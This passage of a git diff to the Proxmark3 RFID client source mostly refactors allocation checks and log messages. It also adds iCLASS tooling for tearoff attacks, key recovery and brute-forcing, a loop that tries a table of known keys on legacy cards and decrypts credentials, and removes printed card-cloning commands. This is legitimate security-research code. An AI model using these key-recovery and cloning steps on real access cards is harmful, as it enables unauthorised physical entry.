6; + const uint8_t pacs_length = pacs[1]; + const uint8_t *pacs_data = pacs + 2; + int res = HIDDumpPACSBits(pacs_data, pacs_length, verbose); + if (res != PM3_SUCCESS) { + return res; + } + + const uint8_t *oid = pacs + 2 + pacs_length; + const uint8_t oid_length = oid[1]; + const uint8_t *oid_data = oid + 2; + PrintAndLogEx(SUCCESS, "SIO OID.......... " _GREEN_("%s"), sprint_hex_inrow(oid_data, oid_length)); + + const uint8_t *mediaType = oid + 2 + oid_length; + const uint8_t mediaType_data = mediaType[2]; + PrintAndLogEx(SUCCESS, "SIO Media Type... " _GREEN_("%s"), getSioMediaTypeInfo(mediaType_data)); + } else if (break_nrmac && d[0] == 0x05) { + PrintAndLogEx(SUCCESS, "Nr-MAC........... " _GREEN_("%s"), sprint_hex_inrow(d + 1, 8)); + if (verbose) { + PrintAndLogEx(INFO, "Replay Nr-MAC to dump SIO:"); + PrintAndLogEx(SUCCESS, " hf iclass dump --nr -k %s", sprint_hex_inrow(d + 1, 8)); + } + } else { + //if it is an error decode it + if (memcmp(d, "\xBE\x07\x80\x01", 4) == 0) { //if it the string is 0xbe 0x07 0x80 0x01 the next byte will indicate the error code + PrintAndLogEx(ERR, _RED_("Sam Error Code: %02x"), d[4]); + print_hex(d, resp.length); + } else if (match_with_wildcard(d, snmp_pattern, snmp_mask, 6)) { + is_snmp = true; + PrintAndLogEx(SUCCESS, _YELLOW_("[samSNMPMessageResponse] ")"%s", sprint_hex(d + 6, resp.length - 6)); + } else if (match_with_wildcard(d, ok_pattern, ok_mask, 3)) { + PrintAndLogEx(SUCCESS, _YELLOW_("[samResponseAcknowledge] ")"%s", sprint_hex(d + 4, resp.length - 4)); + } else { + print_hex(d, resp.length); + } } - bytes_2_binstr(binstr, d + 3, n); - - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "PACS......... " _GREEN_("%s"), sprint_hex_inrow(d + 2, resp.length - 2)); - PrintAndLogEx(SUCCESS, "padded bin... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); - - binstr[strlen(binstr) - pad] = '\0'; - PrintAndLogEx(SUCCESS, "bin.......... " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); - - size_t hexlen = 0; - uint8_t hex[16] = {0}; - binstr_2_bytes(hex, &hexlen, binstr); - PrintAndLogEx(SUCCESS, "hex.......... " _GREEN_("%s"), sprint_hex_inrow(hex, hexlen)); - - uint32_t top = 0, mid = 0, bot = 0; - if (binstring_to_u96(&top, &mid, &bot, binstr) != strlen(binstr)) { - PrintAndLogEx(ERR, "Binary string contains none <0|1> chars"); - free(binstr); - return PM3_EINVARG; + if (decodeTLV && is_snmp == false) { + asn1_print(d, d[1] + 2, " "); + } else if (decodeTLV && is_snmp) { + asn1_print(d + 6, resp.length - 6, " "); } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "Wiegand decode"); - wiegand_message_t packed = initialize_message_object(top, mid, bot, strlen(binstr)); - HIDTryUnpack(&packed); - - PrintAndLogEx(NORMAL, ""); - - if (strlen(binstr) >= 26 && verbose) { - - // iCLASS Legacy - PrintAndLogEx(INFO, "Clone to " _YELLOW_("iCLASS Legacy")); - PrintAndLogEx(SUCCESS, " hf iclass encode --ki 0 --bin %s", binstr); - PrintAndLogEx(NORMAL, ""); - - // HID Prox II - PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("HID Prox II")); - PrintAndLogEx(SUCCESS, " lf hid clone -w H10301 --bin %s", binstr); - PrintAndLogEx(NORMAL, ""); - - // MIFARE Classic - char mfcbin[28] = {0}; - mfcbin[0] = '1'; - memcpy(mfcbin + 1, binstr, strlen(binstr)); - binstr_2_bytes(hex, &hexlen, mfcbin); - - PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("MIFARE Classic") " (Pm3 simulation)"); - PrintAndLogEx(SUCCESS, " hf mf eclr;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 0 -d 049DBA42A23E80884400C82000000000;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 1 -d 1B014D48000000000000000000000000;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 3 -d A0A1A2A3A4A5787788C189ECA97F8C2A;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 5 -d 020000000000000000000000%s;", sprint_hex_inrow(hex, hexlen)); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 7 -d 484944204953787788AA204752454154;"); - PrintAndLogEx(SUCCESS, " hf mf sim --1k -i;"); - PrintAndLogEx(NORMAL, ""); - - PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("MIFARE Classic 1K")); - PrintAndLogEx(SUCCESS, " hf mf encodehid --bin %s", binstr); - PrintAndLogEx(NORMAL, ""); - } - free(binstr); - return PM3_SUCCESS; } @@ -5050,13 +6105,15 @@ static command_t CommandTable[] = { {"view", CmdHFiClassView, AlwaysAvailable, "Display content from tag dump file"}, {"wrbl", CmdHFiClass_WriteBlock, IfPm3Iclass, "Write Picopass / iCLASS block"}, {"creditepurse", CmdHFiClassCreditEpurse, IfPm3Iclass, "Credit epurse value"}, + {"tear", CmdHFiClass_TearBlock, IfPm3Iclass, "Performs tearoff attack on iCLASS block"}, {"-----------", CmdHelp, AlwaysAvailable, "--------------------- " _CYAN_("Recovery") " --------------------"}, // {"autopwn", CmdHFiClassAutopwn, IfPm3Iclass, "Automatic key recovery tool for iCLASS"}, {"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"}, {"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"}, {"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"}, - {"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Attempts to recover the standard key of a legacy card"}, - {"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial raw key"}, + {"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination"}, + {"legbrute", CmdHFiClassLegBrute, AlwaysAvailable, "Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs"}, + {"unhash", CmdHFiClassUnhash, AlwaysAvailable, "Reverses a diversified key to retrieve hash0 pre-images after DES encryption"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"}, @@ -5064,7 +6121,7 @@ static command_t CommandTable[] = { {"esetblk", CmdHFiClassESetBlk, IfPm3Iclass, "Set emulator memory block data"}, {"eview", CmdHFiClassEView, IfPm3Iclass, "View emulator memory"}, {"-----------", CmdHelp, AlwaysAvailable, "---------------------- " _CYAN_("Utils") " ----------------------"}, - {"configcard", CmdHFiClassConfigCard, IfPm3Iclass, "Reader configuration card"}, + {"configcard", CmdHFiClassConfigCard, IfPm3Iclass, "Reader configuration card generator"}, {"calcnewkey", CmdHFiClassCalcNewKey, AlwaysAvailable, "Calc diversified keys (blocks 3 & 4) to write new keys"}, {"encode", CmdHFiClassEncode, AlwaysAvailable, "Encode binary wiegand to block 7"}, {"encrypt", CmdHFiClassEncryptBlk, AlwaysAvailable, "Encrypt given block data"}, @@ -5124,6 +6181,7 @@ int info_iclass(bool shallow_mod) { iclass_card_select_resp_t *r = (iclass_card_select_resp_t *)resp.data.asBytes; + uint8_t *p_response = (uint8_t *)&r->header.hdr; // no tag found or button pressed if (r->status == FLAG_ICLASS_NULL || resp.status == PM3_ERFTRANS) { return PM3_EOPABORTED; @@ -5133,7 +6191,7 @@ int info_iclass(bool shallow_mod) { picopass_ns_hdr_t *ns_hdr = &r->header.ns_hdr; PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ----------------------------------------"); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " -------------------------------------"); if ((r->status & FLAG_ICLASS_CSN) == FLAG_ICLASS_CSN) { PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s") " uid", sprint_hex(hdr->csn, sizeof(hdr->csn))); @@ -5151,19 +6209,19 @@ int info_iclass(bool shallow_mod) { } else { if ((r->status & FLAG_ICLASS_CC) == FLAG_ICLASS_CC) { - PrintAndLogEx(SUCCESS, "E-purse: %s Card challenge, CC", sprint_hex(hdr->epurse, sizeof(hdr->epurse))); + PrintAndLogEx(SUCCESS, "E-purse: %s card challenge, CC", sprint_hex(hdr->epurse, sizeof(hdr->epurse))); } if (memcmp(hdr->key_d, zeros, sizeof(zeros))) { PrintAndLogEx(SUCCESS, " Kd: " _YELLOW_("%s") " debit key", sprint_hex(hdr->key_d, sizeof(hdr->key_d))); } else { - PrintAndLogEx(SUCCESS, " Kd: %s debit key ( hidden )", sprint_hex(hdr->key_d, sizeof(hdr->key_d))); + PrintAndLogEx(SUCCESS, " Kd: -- -- -- -- -- -- -- -- debit key ( hidden )"); } if (memcmp(hdr->key_c, zeros, sizeof(zeros))) { PrintAndLogEx(SUCCESS, " Kc: " _YELLOW_("%s") " credit key", sprint_hex(hdr->key_c, sizeof(hdr->key_c))); } else { - PrintAndLogEx(SUCCESS, " Kc: %s credit key ( hidden )", sprint_hex(hdr->key_c, sizeof(hdr->key_c))); + PrintAndLogEx(SUCCESS, " Kc: -- -- -- -- -- -- -- -- credit key ( hidden )"); } @@ -5176,7 +6234,7 @@ int info_iclass(bool shallow_mod) { print_picopass_info(hdr); } - PrintAndLogEx(INFO, "------------------------ " _CYAN_("Fingerprint") " -----------------------"); + PrintAndLogEx(INFO, "----------------------- " _CYAN_("Fingerprint") " ---------------------"); uint8_t aia[8]; if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { @@ -5188,15 +6246,19 @@ int info_iclass(bool shallow_mod) { // if CSN starts with E012FFF (big endian), it's inside HID CSN range. bool is_hid_range = (hdr->csn[4] & 0xF0) == 0xF0 && (memcmp(hdr->csn + 5, "\xFF\x12\xE0", 3) == 0); - if (is_hid_range) { - bool legacy = (memcmp(aia, "\xff\xff\xff\xff\xff\xff\xff\xff", 8) == 0); - bool se_enabled = (memcmp(aia, "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); + bool legacy = (memcmp(aia, "\xff\xff\xff\xff\xff\xff\xff\xff", 8) == 0); + bool se_enabled = (memcmp(aia, "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); + if (is_hid_range) { PrintAndLogEx(SUCCESS, " CSN.......... " _YELLOW_("HID range")); - if (legacy) + + if (legacy) { PrintAndLogEx(SUCCESS, " Credential... " _GREEN_("iCLASS legacy")); - if (se_enabled) + } + + if (se_enabled) { PrintAndLogEx(SUCCESS, " Credential... " _GREEN_("iCLASS SE")); + } } else { PrintAndLogEx(SUCCESS, " CSN.......... " _YELLOW_("outside HID range")); } @@ -5204,5 +6266,61 @@ int info_iclass(bool shallow_mod) { uint8_t cardtype = get_mem_config(hdr); PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]); + if (memcmp(hdr->csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { + PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)")); + } else { + PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)")); + } + if (legacy) { + + int res = PM3_ESOFT; + uint8_t dump[PICOPASS_BLOCK_SIZE * 8] = {0}; + // we take all raw bytes from response + memcpy(dump, p_response, sizeof(picopass_hdr_t)); + + bool found_aa1 = false; + bool found_aa2 = false; + uint8_t key[8] = {0}; + for (uint8_t i = 0; i < ARRAYLEN(iClass_Key_Table); i++) { + + memcpy(key, iClass_Key_Table[i], sizeof(key)); + + if (found_aa1 == false) { + res = iclass_read_block_ex(key, 6, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 6), false); + if (res == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, " AA1 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); + found_aa1 = true; + } + } + + res = iclass_read_block_ex(key, 6, ICLASS_CREDIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false); + if (res == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, " AA2 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); + found_aa2 = true; + } + + if (found_aa1 && found_aa2) { + break; + } + } + + if (found_aa1) { + res = iclass_read_block_ex(key, 7, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false); + if (res == PM3_SUCCESS) { + + BLOCK79ENCRYPTION aa1_encryption = (dump[(6 * PICOPASS_BLOCK_SIZE) + 7] & 0x03); + + uint8_t decrypted[PICOPASS_BLOCK_SIZE * 8] = {0}; + memcpy(decrypted, dump, 7 * PICOPASS_BLOCK_SIZE); + + uint8_t transport[16] = {0}; + iclass_load_transport(transport, sizeof(transport)); + iclass_decrypt_transport(transport, 8, dump, decrypted, aa1_encryption); + iclass_decode_credentials(decrypted); + } + } + } + + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } diff --git a/client/src/cmdhficlass.h b/client/src/cmdhficlass.h index 2a3139059..b4fcd0524 100644 --- a/client/src/cmdhficlass.h +++ b/client/src/cmdhficlass.h @@ -42,5 +42,6 @@ void picopass_elite_reset(void); uint32_t picopass_elite_rng(void); uint32_t picopass_elite_lcg(void); uint8_t picopass_elite_nextByte(void); -void *generate_key_blocks(void *arg); +void generate_key_block_inverted(const uint8_t *startingKey, uint64_t index, uint8_t *keyBlock); +void print_iclass_sio(uint8_t *iclass_dump, size_t dump_len, bool verbose); #endif diff --git a/client/src/cmdhfict.c b/client/src/cmdhfict.c index 6b143ba3f..5a7e6fadd 100644 --- a/client/src/cmdhfict.c +++ b/client/src/cmdhfict.c @@ -120,12 +120,16 @@ static int derive_app_key(uint8_t *uid, uint8_t *app_key) { } // Might miss payload.. -static int diversify_mifare_key(const uint8_t *uid, uint8_t *app_key) { +static int diversify_mifare_key(const uint8_t *uid, uint8_t *app_key, uint8_t app_keylen) { if (uid == NULL || app_key == NULL) { return PM3_EINVARG; } - uint8_t input[8]; + if (app_keylen > AES_KEY_LEN) { + return PM3_EINVARG; + } + + uint8_t input[AES_KEY_LEN]; memcpy(input, uid, 4); uint32_t big = bytes_to_num(uid, 4); @@ -143,12 +147,12 @@ static int diversify_mifare_key(const uint8_t *uid, uint8_t *app_key) { return PM3_ESOFT; } - uint8_t output[8]; + uint8_t output[AES_KEY_LEN]; if (mbedtls_aes_crypt_cbc(&aes, MBEDTLS_AES_DECRYPT, sizeof(input), iv, input, output)) { return PM3_ESOFT; } mbedtls_aes_free(&aes); - memcpy(app_key, output, MIFARE_KEY_SIZE); + memcpy(app_key, output, app_keylen); return PM3_SUCCESS; } @@ -161,7 +165,7 @@ static int decrypt_card_sector(uint8_t *uid, const uint8_t *sector_data, uint8_t memcpy(input, sector_data, len); uint8_t key[AES_KEY_LEN]; - diversify_mifare_key(uid, key); + diversify_mifare_key(uid, key, sizeof(key)); uint8_t iv[16] = {0}; mbedtls_aes_context aes; @@ -186,7 +190,7 @@ static int derive_mifare_key(uint8_t *uid, const uint8_t *base_key, uint8_t *app } uint8_t diverse[MIFARE_KEY_SIZE]; - diversify_mifare_key(uid, diverse); + diversify_mifare_key(uid, diverse, sizeof(diverse)); for (uint8_t i = 0; i < MIFARE_KEY_SIZE; i++) { app_key[i] = base_key[i] ^ diverse[i]; @@ -516,12 +520,12 @@ static int CmdHfIctCredential(const char *Cmd) { uint16_t sc_size = mfNumBlocksPerSector(ICT_MIFARE_SECTOR) * MFBLOCK_SIZE; uint8_t *data = calloc(sc_size, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(ERR, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } // diversified key A? - int res = mfReadSector(ICT_MIFARE_SECTOR, MF_KEY_A, ICT_MIFARE_A_KEY, data); + int res = mf_read_sector(ICT_MIFARE_SECTOR, MF_KEY_A, ICT_MIFARE_A_KEY, data); if (res != PM3_SUCCESS) { free(data); return res; diff --git a/client/src/cmdhfjooki.c b/client/src/cmdhfjooki.c index 03ce6cf77..81e7b3546 100644 --- a/client/src/cmdhfjooki.c +++ b/client/src/cmdhfjooki.c @@ -491,6 +491,10 @@ static int CmdHF14AJookiSim(const char *Cmd) { // hf mfu sim... uint8_t *data = calloc(144, sizeof(uint8_t)); + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } memcpy(data, uid, 3); memcpy(data + (1 * 4), uid + 3, 4); @@ -531,7 +535,7 @@ static int CmdHF14AJookiSim(const char *Cmd) { g_conn.block_after_ACK = true; uint8_t blockwidth = 4, counter = 0, blockno = 0; - // 12 is the size of the struct the fct mfEmlSetMem_xt uses to transfer to device + // 12 is the size of the struct the fct mf_eml_set_mem_xt uses to transfer to device uint16_t max_avail_blocks = ((PM3_CMD_DATA_SIZE - 12) / blockwidth) * blockwidth; while (datalen) { @@ -542,7 +546,7 @@ static int CmdHF14AJookiSim(const char *Cmd) { uint16_t chunk_size = MIN(max_avail_blocks, datalen); uint16_t blocks_to_send = chunk_size / blockwidth; - if (mfEmlSetMem_xt(data + counter, blockno, blocks_to_send, blockwidth) != PM3_SUCCESS) { + if (mf_eml_set_mem_xt(data + counter, blockno, blocks_to_send, blockwidth) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Cant set emul block: %3d", blockno); free(data); return PM3_ESOFT; @@ -565,7 +569,8 @@ static int CmdHF14AJookiSim(const char *Cmd) { // NTAG, 7 byte UID in eloaded data. payload.tagtype = 7; - payload.flags = FLAG_UID_IN_EMUL; + payload.flags = 0; + FLAG_SET_UID_IN_EMUL(payload.flags); payload.exitAfter = 0; memcpy(payload.uid, uid, sizeof(uid)); @@ -579,7 +584,7 @@ static int CmdHF14AJookiSim(const char *Cmd) { for (;;) { if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(DEBUG, "User aborted"); + PrintAndLogEx(DEBUG, "\naborted via keyboard!"); break; } @@ -590,7 +595,7 @@ static int CmdHF14AJookiSim(const char *Cmd) { break; } free(data); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf 14a list") "` to view trace log"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 14a list") "` to view trace log"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -661,14 +666,14 @@ static int CmdHF14AJookiClone(const char *Cmd) { uint8_t isOK = resp.oldarg[0] & 0xff; PrintAndLogEx(SUCCESS, "Write block %d ( %s )", blockno, isOK ? _GREEN_("ok") : _RED_("fail")); } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); } blockno++; i++; } - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf mfu ndefread") "` to view"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfu ndefread") "` to view"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } diff --git a/client/src/cmdhfksx6924.c b/client/src/cmdhfksx6924.c index 7616ca766..b6a72fe2e 100644 --- a/client/src/cmdhfksx6924.c +++ b/client/src/cmdhfksx6924.c @@ -358,7 +358,7 @@ end: static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"select", CmdHFKSX6924Select, IfPm3Iso14443a, "Select application, and leave field up"}, - {"info", CmdHFKSX6924Info, IfPm3Iso14443a, "Get info about a KS X 6924 (T-Money, Snapper+) transit card"}, + {"info", CmdHFKSX6924Info, IfPm3Iso14443a, "Tag information"}, {"balance", CmdHFKSX6924Balance, IfPm3Iso14443a, "Get current purse balance"}, {"init", CmdHFKSX6924Initialize, IfPm3Iso14443a, "Perform transaction initialization with Mpda"}, {"prec", CmdHFKSX6924PRec, IfPm3Iso14443a, "Send proprietary get record command (CLA=90, INS=4C)"}, diff --git a/client/src/cmdhflegic.c b/client/src/cmdhflegic.c index b12ac869a..f47466761 100644 --- a/client/src/cmdhflegic.c +++ b/client/src/cmdhflegic.c @@ -67,7 +67,7 @@ static int decode_and_print_memory(uint16_t card_size, const uint8_t *input_buff // copy input buffer into newly allocated buffer, because the existing code mutates the data inside. uint8_t *data = calloc(card_size, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(WARNING, "Cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } memcpy(data, input_buffer, card_size); @@ -432,7 +432,7 @@ static int CmdLegicInfo(const char *Cmd) { // allocate receiver buffer uint8_t *data = calloc(card.cardsize, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(WARNING, "Cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -494,8 +494,8 @@ static int CmdLegicRdbl(const char *Cmd) { // allocate receiver buffer uint8_t *data = calloc(len, sizeof(uint8_t)); - if (!data) { - PrintAndLogEx(WARNING, "Cannot allocate memory"); + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -560,7 +560,7 @@ static int CmdLegicSim(const char *Cmd) { for (;;) { if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(DEBUG, "User aborted"); + PrintAndLogEx(DEBUG, "Aborted via keyboard!"); break; } @@ -569,7 +569,7 @@ static int CmdLegicSim(const char *Cmd) { } } - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf legic list") "` to view trace log"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf legic list") "` to view trace log"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -642,6 +642,10 @@ static int CmdLegicWrbl(const char *Cmd) { PrintAndLogEx(SUCCESS, "Writing to tag to offset %i", offset); legic_packet_t *payload = calloc(1, sizeof(legic_packet_t) + dlen); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->offset = (offset & 0xFFFF); payload->iv = (IV & 0x7F); payload->len = dlen; @@ -719,6 +723,10 @@ int legic_read_mem(uint32_t offset, uint32_t len, uint32_t iv, uint8_t *out, uin legic_chk_iv(&iv); legic_packet_t *payload = calloc(1, sizeof(legic_packet_t)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->offset = (offset & 0xFFFF); payload->iv = iv; payload->len = len; @@ -773,17 +781,20 @@ int legic_print_type(uint32_t tagtype, uint8_t spaces) { } int legic_get_type(legic_card_select_t *card) { - if (card == NULL) + if (card == NULL) { return PM3_EINVARG; + } clearCommandBuffer(); SendCommandNG(CMD_HF_LEGIC_INFO, NULL, 0); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_HF_LEGIC_INFO, &resp, 1500) == false) + if (WaitForResponseTimeout(CMD_HF_LEGIC_INFO, &resp, 1500) == false) { return PM3_ETIMEOUT; + } - if (resp.status != PM3_SUCCESS) + if (resp.status != PM3_SUCCESS) { return PM3_ESOFT; + } memcpy(card, resp.data.asBytes, sizeof(legic_card_select_t)); return PM3_SUCCESS; @@ -817,6 +828,10 @@ void legic_seteml(uint8_t *src, uint32_t offset, uint32_t numofbytes) { } legic_packet_t *payload = calloc(1, sizeof(legic_packet_t) + len); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } payload->offset = i; payload->len = len; memcpy(payload->data, src + i, len); @@ -889,6 +904,10 @@ static int CmdLegicDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Reading tag memory." NOLF); legic_packet_t *payload = calloc(1, sizeof(legic_packet_t)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->offset = 0; payload->iv = 0x55; payload->len = dumplen; @@ -916,8 +935,8 @@ static int CmdLegicDump(const char *Cmd) { uint16_t readlen = resp.data.asDwords[0]; uint8_t *data = calloc(readlen, sizeof(uint8_t)); - if (!data) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -936,7 +955,7 @@ static int CmdLegicDump(const char *Cmd) { // 0x00 ^ MCC = MCC. Finding the end of used data is not part of this function. if (legic_xor(data, dumplen) == false) { PrintAndLogEx(FAILED, "Deobsfuscate failed, exiting..."); - PrintAndLogEx(HINT, "Try running command without `--de` parameter"); + PrintAndLogEx(HINT, "Hint: Try running command without `--de` parameter"); free(data); return PM3_EFAILED; } @@ -1004,7 +1023,7 @@ static int CmdLegicRestore(const char *Cmd) { if (shall_obsfuscate) { if (legic_xor(dump, card.cardsize) == false) { PrintAndLogEx(FAILED, "Obsfuscate failed, exiting..."); - PrintAndLogEx(HINT, "Try running command without `--ob` parameter"); + PrintAndLogEx(HINT, "Hint: Try running command without `--ob` parameter"); free(dump); return PM3_EFAILED; } @@ -1027,6 +1046,11 @@ static int CmdLegicRestore(const char *Cmd) { } legic_packet_t *payload = calloc(1, sizeof(legic_packet_t) + len); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(dump); + return PM3_EMALLOC; + } payload->offset = i; payload->iv = 0x55; payload->len = len; @@ -1109,7 +1133,7 @@ static int CmdLegicELoad(const char *Cmd) { free(dump); - PrintAndLogEx(HINT, "You are ready to simulate. See " _YELLOW_("`hf legic sim -h`")); + PrintAndLogEx(HINT, "Hint: You are ready to simulate. See `" _YELLOW_("hf legic sim -h") "`"); PrintAndLogEx(SUCCESS, "Done!"); return PM3_SUCCESS; } @@ -1163,7 +1187,7 @@ static int CmdLegicESave(const char *Cmd) { // set up buffer uint8_t *data = calloc(numofbytes, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1232,7 +1256,7 @@ static int CmdLegicEView(const char *Cmd) { uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1296,7 +1320,7 @@ static int CmdLegicEInfo(const char *Cmd) { uint8_t *dump = calloc(card_size, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1336,8 +1360,8 @@ static int CmdLegicWipe(const char *Cmd) { // set up buffer uint8_t *data = calloc(card.cardsize, sizeof(uint8_t)); - if (!data) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1360,6 +1384,11 @@ static int CmdLegicWipe(const char *Cmd) { } legic_packet_t *payload = calloc(1, sizeof(legic_packet_t) + len); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(data); + return PM3_EMALLOC; + } payload->offset = i; payload->iv = 0x55; payload->len = len; @@ -1501,7 +1530,7 @@ int readLegicUid(bool loop, bool verbose) { PrintAndLogEx(SUCCESS, " MSN: " _GREEN_("%s"), sprint_hex(card.uid + 1, sizeof(card.uid) - 1)); legic_print_type(card.cardsize, 0); - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } diff --git a/client/src/cmdhflist.c b/client/src/cmdhflist.c index aa83bc20b..c8d3a243c 100644 --- a/client/src/cmdhflist.c +++ b/client/src/cmdhflist.c @@ -31,6 +31,7 @@ #include "protocols.h" #include "cmdhficlass.h" #include "mifare/mifaredefault.h" // mifare consts +#include "cmdhfseos.h" enum MifareAuthSeq { masNone, @@ -70,8 +71,14 @@ static uint8_t *gs_mfuc_key = NULL; */ uint8_t iso14443A_CRC_check(bool isResponse, uint8_t *d, uint8_t n) { - if (n < 3) return 2; - if (isResponse && (n == 5)) return 2; + if (n < 3) { + return 2; + } + + if (isResponse && (n == 5)) { + return 2; + } + if (d[1] == 0x50 && d[0] >= ISO14443A_CMD_ANTICOLL_OR_SELECT && d[0] <= ISO14443A_CMD_ANTICOLL_OR_SELECT_3) { @@ -80,6 +87,25 @@ uint8_t iso14443A_CRC_check(bool isResponse, uint8_t *d, uint8_t n) { return check_crc(CRC_14443_A, d, n); } +uint8_t seos_CRC_check(bool isResponse, uint8_t *d, uint8_t n) { + if (n < 3) { + return 2; + } + + // 5 bytes response Card busy 0xFA have crc, the rest is most likely 14a anticollision + if ((n == 5) && (d[0] != 0xFA)) { + return 2; + } + + if (d[1] == 0x50 && + d[0] >= ISO14443A_CMD_ANTICOLL_OR_SELECT && + d[0] <= ISO14443A_CMD_ANTICOLL_OR_SELECT_3) { + return 2; + } + return check_crc(CRC_14443_A, d, n); +} + + uint8_t mifare_CRC_check(bool isResponse, uint8_t *data, uint8_t len) { switch (MifareAuthState) { case masNone: @@ -131,7 +157,7 @@ uint8_t iclass_CRC_check(bool isResponse, uint8_t *d, uint8_t n) { //Commands to tag //Don't include the command byte - if (!isResponse) { + if (isResponse == false) { /** These commands should have CRC. Total length leftmost 4 READ @@ -167,7 +193,7 @@ uint8_t iclass_CRC_check(bool 